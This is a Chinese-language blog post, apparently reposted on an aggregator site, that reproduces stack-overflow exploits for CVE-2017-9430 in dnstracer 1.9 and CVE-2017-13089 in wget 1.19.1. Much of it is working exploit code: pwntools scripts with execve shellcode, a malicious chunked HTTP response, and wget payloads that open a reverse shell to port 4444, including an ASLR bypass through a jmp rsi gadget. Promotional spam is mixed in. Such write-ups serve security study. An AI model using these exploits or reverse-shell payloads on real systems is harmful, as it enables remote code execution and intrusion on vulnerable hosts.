从CVE复现看栈溢出漏洞利用

这篇具有很好参考价值的文章主要介绍了从CVE复现看栈溢出漏洞利用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

最近复现了两个栈溢出漏洞的cve,分别是CVE-2017-9430和CVE-2017-13089,简单记录一下real wrold中的栈溢出漏洞学习。目前,栈溢出漏洞主要出现在iot固件中,linux下的已经很少了,所以这两个洞都是17年,比较早,但还是能学到一些东西。

CVE-2017-9430

1.漏洞描述

dnstracer 1.9 及之前版本中基于堆栈的缓冲区溢出允许攻击者通过命令行造成拒绝服务(应用程序崩溃),或者可能通过命令行造成未指定的其他影响。

2.环境搭建

编译安装DNSTracer 1.9

wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./confugure
​
make && sudo make install

在make前,修改Makefile

CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32

编译好后,关闭ASLR

sudo echo 0 > /proc/sys/kernel/randomize_va_space
或者
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

3.漏洞成因

从CVE复现看栈溢出漏洞利用

程序在处理命令行参数时,调用strcpy函数对argv[0]进行处理时,由于处理不当,导致了栈溢出漏洞。

4.漏洞利用

这里在进行利用时,关闭了ASLR、PIE、Canary、RELRO、NX等缓解机制。

由于strcpy未对参数长度进行检查,这里导致的栈溢出漏洞可以溢出足够的字符长度,并且关闭了各种缓解机制,所以我们通过返回到shellcode的方式获取shell。但在复现的过程中,发现一个有趣的地方。如果我直接溢出到返回地址,并不能完成预想的get shell。回到汇编

从CVE复现看栈溢出漏洞利用

发现了问题,这里在ret之前,栈指针变了,是由ecx的值决定的,而ecx是从栈pop出来的。分析这段汇编代码发现,如果正常情况下,最后esp的位置和直接返回的没有这段处理代码的位置相同,但由于由这段代码,就导致不能直接覆盖到返回地址,否则会在执行倒数第二条汇编指令时触发非法地址。

所以,这里不能直接覆盖到返回地址,而是要通过布置栈中数据控制ecx,从而将ecx-4处的地址赋给esp,使esp指向存有shellcode地址的位置,这样就可以正常完成get shell了。

内存布局如下图

从CVE复现看栈溢出漏洞利用

exp如下:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
​
context(os = 'linux', arch = 'amd64', log_level = 'info')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
​
elf = './dnstracer-1.9/dnstracer'
# elf = ELF('./simpleinterpreter')
​
#-----------------------------------------------------------------------------------------
rv = lambda x            : p.recv(x)
rl = lambda a=False      : p.recvline(a)
ru = lambda a,b=True     : p.recvuntil(a,b)
rn = lambda x            : p.recvn(x)
sn = lambda x            : p.send(x)
sl = lambda x            : p.sendline(x)
sa = lambda a,b          : p.sendafter(a,b)
sla = lambda a,b         : p.sendlineafter(a,b)
u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00'))
u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda           : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
#-----------------------------------------------------------------------------------------
​
if __name__ == "__main__":
​
        filling = "\x90"*(1050-32-32-1-0x300)
    filling += "\x4c\xcd\xff\xff"     # ShellcodeAddress
    filling += "\x90"*0x300       # 0xffffcd4c
    filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa"
    filling += "bbbb"*4
    filling += "\x4c\xcd\xff\xff" # ecx   esp=[ecx-4]
​
    payload = filling
    p = gdb.debug([elf, payload],"b *0x0804969E")
    inter()
​

5.坑点

在复现的时候还有一些坑点,我暂时也不知道原因。

①第一点就是这个在返回前对esp进行处理的汇编,我不知道为什么我编译出来的程序会有这一段,在网上看其他师傅复现的文档,都没有遇到这个问题,疑惑ing。

②第二点是我在复现的时候,明明已经关闭了ASLR了,按理说每次调试的时候,栈地址应该不会变才对,但事实上,我当天的地址是固定的,但隔天可能就会有0x10的偏移,很诡异,这就导致exp无法稳定攻击,为此只能在shellcode前面加很多的nop,让这个地址即使发生了偏移也能完成利用。

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

CVE-2017-13089

1.漏洞描述

http.c:skip_short_body() 函数在某些情况下被调用,例如在处理重定向时,在 1.19.2 之前的 wget 中分块发送响应时,块解析器使用 strtol() 读取每个块的长度,但不检查块长度是否为非负数,然后,代码尝试使用 MIN() 宏跳过 512 字节的块,但最终将负块长度传递给 connect.c:fd_read(),由于 fd_read() 采用 int 参数,因此丢弃了块长度的 32 位高位,使 fd_read() 具有完全由攻击者控制的长度参数。

2.环境搭建

在ubuntu16.04下搭建会比较稳定。

sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
sudo apt-get remove wget
./configure
make && sudo make install

从CVE复现看栈溢出漏洞利用

3.漏洞成因

由于使用strtol来读取每个块的长度,但没有进行负数检查。

从CVE复现看栈溢出漏洞利用

例如读入长度为-0xFFFFF000,经过处理得到v22为0xffffffff00001000

从CVE复现看栈溢出漏洞利用

后面有3次对长度的校验,但都只进行了上限校验,未进行下限校验,由于v22是int,且符号位为1,都满足校验条件,最终将长度传入函数fd_read。

从CVE复现看栈溢出漏洞利用

由于fd_read()函数的长度参数即a3为无符号数,就使得读取的长度由用户可控,造成了栈溢出。

4.漏洞利用

这里在进行利用时,我们首先关闭ASLR、PIE、Canary、RELRO、NX等缓解机制。

根据漏洞成因的分析,我们可以先构造poc,控制读取的长度为我们利用需要的size,这里我设置为0x1000,相应poc如下

payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
​
-0xFFFFF000
"""

调试方式:

从CVE复现看栈溢出漏洞利用

生成poc

python3 exp.py

发包窗口

nc -lp 6666 < poc2             

gdb调试窗口

gdb wget
b *addr
r localhost:6666

先执行exp,生成poc,然后发包,然后执行wget http://localhost:6666

这个的栈溢出就比前面那个cve的栈溢出正常一点,直接覆盖返回地址为shellcode的地址就可以了。由于我们这里关闭了所有缓解机制,就直接在栈中布置shellcode,获取shellcode地址,覆盖到返回地址就ok了。

从CVE复现看栈溢出漏洞利用

exp如下

from pwn import *
​
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
​
-0xFFFFF000
"""
context(arch='amd64', os='linux')
sc = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
#print(sc)
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568
stack = 0x7fffffffd190
payload += p64(stack) #输入数据起始地址
payload += b"\n0\n"
​
with open('poc2','wb') as f:
    f.write(payload)

但是,如果开了ASLR,怎么办呢,我们很自然地会想到jmp reg的方式。

首先看看ret的时候,有没有寄存器可以用

从CVE复现看栈溢出漏洞利用

很巧,rsi正好指向我们的shellcode,于是我们就可以去找个jmp rsi的gadget完成ASLR的绕过

直接找gadget比较慢,可以先把所有gadget重定向到txt中,然后在txt中查找会比较快

ROPgadget --binary=wget > gadget.txt
cat gadget.txt | grep 'jmp rsi'

从CVE复现看栈溢出漏洞利用

得到绕过ASLR的exp

from pwn import *
​
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
​
-0xFFFFF000
"""
context(arch='amd64', os='linux')
sc = asm(shellcraft.connect('192.168.110.138',4444)+shellcraft.dupsh())
#print(sc)
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568
stack = 0x7fffffffd190
jmp_rsi = 0x0000000000475bcb
#payload += p64(stack) #输入数据起始地址
payload += p64(jmp_rsi)
payload += b"\n0\n"
​
with open('poc2','wb') as f:
    f.write(payload)

从CVE复现看栈溢出漏洞利用

可以看到,成功绕过了ASLR缓解机制,执行shellcode

从CVE复现看栈溢出漏洞利用

5.坑点

在复现的过程中,我发现在关闭ASLR时,我通过第一种方式攻击,必须在gdb中执行才能成功,如下图

从CVE复现看栈溢出漏洞利用

直接在命令行中执行wget http://localhost:6666会崩溃

从CVE复现看栈溢出漏洞利用

但绕过ASLR的exp就可以直接执行,我怀疑是没有把ASLR完全关闭,但查看ASLR的值确实都是0,不知道为啥会这样。

小总结

在对这两个cve的复现中,对栈溢出漏洞的ret2shellcode和jmp reg两种利用方式进行了复习,遇到了一点比较有意思的东西,比如第一个cve中ret前对esp的改变。不论是在ctf中还是realworld,程序的利用最终一定是基于对程序汇编的理解,遇到问题,回归本源。

更多网安技能的在线实操练习,请点击这里>>

  文章来源地址https://www.toymoban.com/news/detail-848691.html

到了这里,关于从CVE复现看栈溢出漏洞利用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全---漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的

    2024年02月08日
    浏览(53)
  • WebLogic反序列化漏洞复现+利用工具(CVE-2021-2394)

    Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。 这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的

    2024年02月06日
    浏览(96)
  • H2db console 未授权访问RCE 漏洞复现+利用(CVE-2022-23221)

    H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。 H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远

    2024年02月14日
    浏览(42)
  • CVE-2022-30190分析以及复现和POC利用 //Microsoft Office MSDT 远程代码执行漏洞

    在微软官方的介绍里,是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。 意思是恶意 Word 文档可以使用远程模板功能从远程服务器获取 HTML 文件,并且 HTML 代码可以使用 Microsoft 的

    2024年02月04日
    浏览(70)
  • CVE-2023-5129 libwebp堆缓冲区溢出漏洞影响分析

    近日苹果、谷歌、Mozilla和微软等公司积极修复了libwebp组件中的缓冲区溢出漏洞,相关时间线如下: 9月7日,苹果发布紧急更新,修复了此前由多伦多大学公民实验室报告的iMessage 0-click 漏洞,漏洞被认为已经被NSO公司的Pegasus间谍软件所利用,漏洞编号CVE-2023-41064; 9月8日,

    2024年02月08日
    浏览(37)
  • sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)

    这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通

    2024年02月13日
    浏览(44)
  • VMware ESXi OpenSLP 堆溢出漏洞(CVE-2021–21974)勒索事件

    据BleepingComputer 2月3日消息,法国计算机紧急响应小组(CERT-FR) 近日发出警告,攻击者正通过一个远程代码执行漏洞,对全球多地未打补丁的 VMware ESXi 服务器部署新型ESXiArgs 勒索软件。 据悉,该漏洞编号为CVE-2021-21974,由 OpenSLP 服务中的堆溢出问题引起,未经身份验证的攻击者

    2024年02月04日
    浏览(45)
  • CVE漏洞复现-CVE-2022-22965-Spring-RCE漏洞

    Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行

    2023年04月21日
    浏览(60)
  • CVE-2015-5254漏洞复现

    1.漏洞介绍。 Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的

    2023年04月24日
    浏览(41)
  • CVE-2016-3088漏洞复现

    1.背景介绍。 ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。 fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写

    2023年04月25日
    浏览(65)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包